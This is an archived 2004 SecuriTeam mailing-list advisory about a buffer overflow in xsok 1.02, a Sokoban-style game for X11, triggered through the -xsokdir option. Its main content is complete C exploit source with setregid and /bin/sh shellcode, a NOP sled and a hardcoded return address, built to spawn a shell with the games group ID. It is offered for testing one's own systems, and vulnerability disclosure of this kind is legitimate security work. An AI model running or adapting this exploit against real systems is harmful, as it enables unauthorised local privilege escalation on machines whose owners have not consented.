[EXPL] xsok Buffer Overflow (-xsokdir)

From: SecuriTeam (support_at_securiteam.com)
Date: 01/04/04

  • Next message: SecuriTeam: "[NT] GoodTech Telnet Server DoS"
    To: list@securiteam.com
    Date: 4 Jan 2004 16:18:55 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      xsok Buffer Overflow (-xsokdir)
    ------------------------------------------------------------------------

    SUMMARY

    Steve Kemp discovered a problem in xsok, a single player strategy game for
    X11, related to the Sokoban game, which leads a user to execute arbitrary
    commands under the GID of games. The following exploit code can be used to
    test your system for the mentioned vulnerability.

    DETAILS

    /* 0x333xsok (2) => xsok 1.02 local game exploit
     *
     * Happy new year ! (2 :)
     * coded by c0wboy
     *
     * (c) 0x333 Outsiders Security Labs / www.0x333.org
     *
     */

    #include <stdio.h>
    #include <unistd.h>

    #define BIN "/usr/games/xsok"
    #define RETADD 0xbffffa3c
    #define SIZE 200

    unsigned char shellcode[] =

      /* setregid (20,20) shellcode */
      "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
      "\xcd\x80"

      /* exec /bin/sh shellcode */
      "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
      "\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

      
    int main (int argc, char ** argv)
    {
      int i, ret = RETADD;
      char out[SIZE];

      fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit
    ---\n");
      fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n");

      int *xsok = (int *)(out);

      for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);

      memset((char *)out, 0x90, 63);
      memcpy((char *)out+63, shellcode, strlen(shellcode));

      execl (BIN, BIN, "-xsokdir", out, 0x0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:c0wboy@tiscali.it>
    c0wboy@0x333.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] GoodTech Telnet Server DoS"

    Relevant Pages